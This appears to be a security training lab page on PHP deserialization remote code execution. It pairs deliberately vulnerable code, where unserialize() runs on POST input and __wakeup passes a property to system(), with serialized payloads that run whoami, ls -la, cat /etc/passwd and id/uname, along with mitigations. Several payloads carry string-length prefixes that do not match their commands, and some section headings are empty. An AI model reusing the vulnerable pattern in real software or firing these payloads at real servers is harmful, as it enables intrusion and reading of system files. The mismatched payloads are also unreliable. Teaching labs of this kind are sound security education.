Lab 3: Deserialization RCE

RCE through unsafe deserialization

Difficulty: Medium

Lab Overview

This lab demonstrates a Remote Code Execution vulnerability through unsafe deserialization. The application deserializes user-supplied data without proper validation, allowing attackers to execute arbitrary code.

Objective: Craft malicious serialized data to execute arbitrary commands on the server.

Vulnerable PHP Code 
// Handle deserialization request
if (isset($_POST['data']) && !empty($_POST['data'])) {
    $serialized_data = $_POST['data'];
    
    // Vulnerable: Direct deserialization without validation
    try {
        $deserialized = unserialize($serialized_data);
        
        if ($deserialized !== false) {
            // Process deserialized data
        }
    } catch (Exception $e) {
        // Error handling
    }
}

// Vulnerable class
class VulnerableClass {
    public $command;
    
    public function __wakeup() {
        // Vulnerable: Direct command execution
        if (isset($this->command)) {
            system($this->command);
        }
    }
}

// Example malicious payload:
// O:15:"VulnerableClass":1:{s:7:"command";s:6:"whoami";}
Deserialization Demo
Example Payloads:
Vulnerability Details
  • Type: Remote Code Execution (RCE)
  • Severity: Critical
  • Parameter: data
  • Method: POST
  • Issue: Unsafe deserialization of user data
Malicious Payloads

Try these serialized payloads:

  • O:15:"VulnerableClass":1:{s:7:"command";s:6:"whoami";}
  • O:15:"VulnerableClass":1:{s:7:"command";s:8:"ls -la";}
  • O:15:"VulnerableClass":1:{s:7:"command";s:13:"cat /etc/passwd";}
  • O:15:"VulnerableClass":1:{s:7:"command";s:8:"id && uname -a";}

Payload Structure:

  • O:15:"VulnerableClass" - Object with class name
  • 1:{s:7:"command";s:6:"whoami";} - Properties and values
Test Instructions

Follow these steps to test the vulnerability:

  1. Click on one of the example payloads above
  2. The payload will be automatically filled in the textarea
  3. Click "Deserialize Data" to execute the payload
  4. Observe the command execution results
  5. Try different commands by modifying the payload
Real-World Attack Scenarios
Mitigation Strategies
  • Avoid deserializing user-supplied data
  • Use safe serialization formats (JSON, XML)
  • Implement proper input validation and sanitization
  • Use whitelist-based class validation
  • Implement proper error handling
  • Use least privilege principles
  • Implement proper logging and monitoring
  • Regular security testing and updates